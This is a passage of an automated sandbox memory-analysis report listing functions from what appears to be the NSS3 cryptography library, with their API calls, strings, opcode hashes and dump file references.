Opcode ID: 00f74d6516f0e62c09e654103b6e9278ee5017711923d91b6689887efb03e25b
Instruction ID: a46c4e19b69927417455fd0ba882915f352a8a5b2e87ab8e06126b18f048d98d
Opcode Fuzzy Hash: 00f74d6516f0e62c09e654103b6e9278ee5017711923d91b6689887efb03e25b
Instruction Fuzzy Hash: CB21D675A012249FDB109F28DC8479B7BA4EF4535CF158129ED099BA51E730EC14C7F2

Function 6CC3EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC3EE49

Part of subcall function 6CC5FAB0: free.MOZGLUE(?,-00000001,?,?,6CBFF673,00000000,00000000), ref: 6CC5FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CC3EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6CC3EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6CC3EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC3EEB3

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: b1c622cc3b58481d4bc578768a244f5cfd1c0e2475766593db789ed46a47be4a
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 2521A8BAA002206BEB119E54EC81EAB77A8EF45718F044168FD089B751F771DC1487F1

Function 6CC55ED0 Relevance: 9.1, APIs: 6, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CC55D71), ref: 6CC55F0A
TlsGetValue.KERNEL32 ref: 6CC55F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6CC55F2F
PR_Unlock.NSS3(890008E8), ref: 6CC55F55
PR_SetError.NSS3(00000000,00000000), ref: 6CC55F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6CC55F7D

Part of subcall function 6CC55220: TlsGetValue.KERNEL32(00000000,890008E8,?,6CC55F82,8B4274C0), ref: 6CC55248
Part of subcall function 6CC55220: EnterCriticalSection.KERNEL32(0F6CD20D,?,6CC55F82,8B4274C0), ref: 6CC5525C
Part of subcall function 6CC55220: PR_SetError.NSS3(00000000,00000000), ref: 6CC5528E
Part of subcall function 6CC55220: PR_Unlock.NSS3(0F6CD1F1), ref: 6CC55299
Part of subcall function 6CC55220: free.MOZGLUE(00000000), ref: 6CC552A9

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID:
API String ID: 3150690610-0
Opcode ID: 22de7d86cc06997ecedb242acf923e17c14f88c008a62d8b7a98fe2e1bc0a175
Instruction ID: 8e1b13bc43102a60a8d500e4ce51a89e7ec4f266d757bb697cfdef5928bef48b
Opcode Fuzzy Hash: 22de7d86cc06997ecedb242acf923e17c14f88c008a62d8b7a98fe2e1bc0a175
Instruction Fuzzy Hash: B821E7B1D002055FEB00AFA8DC45AEEB7B8FF49318F544129D90AA7700F732A968CBD1

Function 6CC07F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CC07F68

Part of subcall function 6CC60FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61000
Part of subcall function 6CC60FF0: PR_NewLock.NSS3(?,00000800,6CBFEF74,00000000), ref: 6CC61016
Part of subcall function 6CC60FF0: PL_InitArenaPool.NSS3(00000000,security,6CC087ED,00000008,?,00000800,6CBFEF74,00000000), ref: 6CC6102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6CC07F7B

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC07FA7

Part of subcall function 6CC5FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC58D2D,?,00000000,?), ref: 6CC5FB85
Part of subcall function 6CC5FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC5FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CD2919C,?), ref: 6CC07FBB

Part of subcall function 6CC5B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD318D0,?), ref: 6CC5B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC07FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6CD2915C,00000014), ref: 6CC07FFE

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 91ac0bce6154a3eb0efc076aa56bdc51e568c22c6f85adc63bcad792c7a5a58e
Instruction ID: a6f87824862271252e358b57488fdbaead2ffa2f52f2ed4dec2c98c614beecfb
Opcode Fuzzy Hash: 91ac0bce6154a3eb0efc076aa56bdc51e568c22c6f85adc63bcad792c7a5a58e
Instruction Fuzzy Hash: F3113AB1E002045BFB14AA299D90BBB77ECDF4469CF00062DFC59D2B41F721A958C7B6

Function 6CC0BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6CC8DC29,?), ref: 6CC0BE64

Part of subcall function 6CC60FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61000
Part of subcall function 6CC60FF0: PR_NewLock.NSS3(?,00000800,6CBFEF74,00000000), ref: 6CC61016
Part of subcall function 6CC60FF0: PL_InitArenaPool.NSS3(00000000,security,6CC087ED,00000008,?,00000800,6CBFEF74,00000000), ref: 6CC6102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6CC8DC29,?), ref: 6CC0BE78

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6CC8DC29,?), ref: 6CC0BE96

Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6CC8DC29,?), ref: 6CC0BEBB

Part of subcall function 6CC5FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC58D2D,?,00000000,?), ref: 6CC5FB85
Part of subcall function 6CC5FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC5FBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6CC8DC29,?), ref: 6CC0BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6CC8DC29,?), ref: 6CC0BEF3

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 4328fe50bee2b37f2022ce6890c1dd2319e8f5a96d419eed7c1bde9725119fa8
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 3711A571F002155BEB00CB659D55FAA37A8AB41259F140028ED18EBB80FB32D919C7A1

Function 6CC93C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CC95B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC95B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC93D3F

Part of subcall function 6CC0BA90: PORT_NewArena_Util.NSS3(00000800,6CC93CAF,?), ref: 6CC0BABF
Part of subcall function 6CC0BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6CC93CAF,?), ref: 6CC0BAD5
Part of subcall function 6CC0BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6CC93CAF,?), ref: 6CC0BB08
Part of subcall function 6CC0BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CC93CAF,?), ref: 6CC0BB1A
Part of subcall function 6CC0BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6CC93CAF,?), ref: 6CC0BB3B

PR_EnterMonitor.NSS3(?), ref: 6CC93CCB

Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90AB
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90C9
Part of subcall function 6CCC9090: EnterCriticalSection.KERNEL32 ref: 6CCC90E5
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC9116
Part of subcall function 6CCC9090: LeaveCriticalSection.KERNEL32 ref: 6CCC913F

PR_EnterMonitor.NSS3(?), ref: 6CC93CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC93CF8
PR_ExitMonitor.NSS3(?), ref: 6CC93D15
PR_ExitMonitor.NSS3(?), ref: 6CC93D2E

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 85d5ff5d465156547ff6879ed3e717019ecb4afb64fdb131654fdae44ae928df
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 4211C876A20600AFE7209E65EC9179BB2E5AB1120DF544534E41E87B70F732E919C653

Function 6CC5FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CC5FE08

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CC5FE1D

Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CC5FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CC5FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CC5FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6CC5FE6F

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 887371c1b762bbf1ea9d8e2b4af6d20c8e9a6707ecab64414bae4e78a8547b87
Instruction ID: 7275dfc449a76e0622a80b3ff0a4e12db0204827e641c7952fe8f9f78c298b15
Opcode Fuzzy Hash: 887371c1b762bbf1ea9d8e2b4af6d20c8e9a6707ecab64414bae4e78a8547b87
Instruction Fuzzy Hash: 921108B6701201AFEB048F65EC80A5B7398AF58299F648034E91C97F12F771E935C795

Function 6CD0FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6CD0FD9E

Part of subcall function 6CCC9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CBF1A48), ref: 6CCC9BB3
Part of subcall function 6CCC9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CBF1A48), ref: 6CCC9BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6CD0FDB9

Part of subcall function 6CBEA900: TlsGetValue.KERNEL32(00000000,?,6CD614E4,?,6CB84DD9), ref: 6CBEA90F
Part of subcall function 6CBEA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CBEA94F

PR_Unlock.NSS3 ref: 6CD0FDD4
PR_Lock.NSS3 ref: 6CD0FDF2
PR_NotifyAllCondVar.NSS3 ref: 6CD0FE0D
PR_Unlock.NSS3 ref: 6CD0FE23

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: cb355dd3967cfd9da861d5e83812be981b0631a385a7c178344df4b08fb70ec2
Instruction ID: 5f7deac20903aef4737531b1777a51b4baa9d1d85835cc73626fb155675ebbb2
Opcode Fuzzy Hash: cb355dd3967cfd9da861d5e83812be981b0631a385a7c178344df4b08fb70ec2
Instruction Fuzzy Hash: 410165B6F04141ABDF144F56FC108557635BB12368B154378E92647BF1F722ED28C6D2

Function 6CBEAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBEAFDA

Strings

misuse, xrefs: 6CBEAFCE
%s at line %d of [%.10s], xrefs: 6CBEAFD3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBEAFC4
unable to delete/modify collation sequence due to active statements, xrefs: 6CBEAF5C

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 273cd22326e2bc959a1f2a028a840b2189313bab70c20064b2ff47b05d4670bb
Instruction ID: 3a8468412e9bc87af187b81d8fffcd2b021b25ad86021667023cd96e15148913
Opcode Fuzzy Hash: 273cd22326e2bc959a1f2a028a840b2189313bab70c20064b2ff47b05d4670bb
Instruction Fuzzy Hash: F491F071A002958FDB04CF69C890BAABBF5FF49754F1940A8E865AB791C334EC01CFA1

Function 6CC4FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6CC4FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC4FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CC4FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CC4FDDE

Part of subcall function 6CC58800: TlsGetValue.KERNEL32(?,6CC6085A,00000000,?,6CC08369,?), ref: 6CC58821
Part of subcall function 6CC58800: TlsGetValue.KERNEL32(?,?,6CC6085A,00000000,?,6CC08369,?), ref: 6CC5883D
Part of subcall function 6CC58800: EnterCriticalSection.KERNEL32(?,?,?,6CC6085A,00000000,?,6CC08369,?), ref: 6CC58856
Part of subcall function 6CC58800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CC58887
Part of subcall function 6CC58800: PR_Unlock.NSS3(?,?,?,?,6CC6085A,00000000,?,6CC08369,?), ref: 6CC58899

Strings

pkcs11:, xrefs: 6CC4FC4F

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: a3184e30912ba0140058c8aebf7abed194c9483d588041fe087bdef6ca0a5143
Instruction ID: a5c5d170dfedd5ec0185b55a6e003f0d8ac76c7ad06e38e16f39d3186bd77c75
Opcode Fuzzy Hash: a3184e30912ba0140058c8aebf7abed194c9483d588041fe087bdef6ca0a5143
Instruction Fuzzy Hash: 5B51DFB1A401219FEB108F6A9C40FAA3775BF4035CF55C0A9DD046BB51FB30E924CBA2

Function 6CB8BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CB8BE02

Part of subcall function 6CCB9C40: memcmp.VCRUNTIME140(?,00000000,6CB8C52B), ref: 6CCB9D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB8BE9F

Strings

database corruption, xrefs: 6CB8BE93
%s at line %d of [%.10s], xrefs: 6CB8BE98
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB8BE89

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 79120b2e89737b5e1e4bbcfa31a735874e263516b43bce49e4eaddef44bc55e1
Instruction ID: 13e44e5212134653dece25a9278cbfdfa2d62533a276547b6032972021f5947c
Opcode Fuzzy Hash: 79120b2e89737b5e1e4bbcfa31a735874e263516b43bce49e4eaddef44bc55e1
Instruction Fuzzy Hash: EF314731A456969FC700CF79CCD4A6BBBA1AF46316B098954EE481BB51D730EC05C3E1

Function 6CBF0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CBF0BDE), ref: 6CBF0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CBF0BDE), ref: 6CBF0DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CBF0BDE), ref: 6CBF0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CBF0BDE), ref: 6CBF0E32

Strings

%s incr => %d (find lib), xrefs: 6CBF0E2D

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: b9a4db74cf2da3c14782739933f72755138d52b3e7081c55dd790d2315b52bb9
Instruction ID: 8173980e6fe2846c324aa222e8eece06d01bfbe0e5a806eff34c0756f792f687
Opcode Fuzzy Hash: b9a4db74cf2da3c14782739933f72755138d52b3e7081c55dd790d2315b52bb9
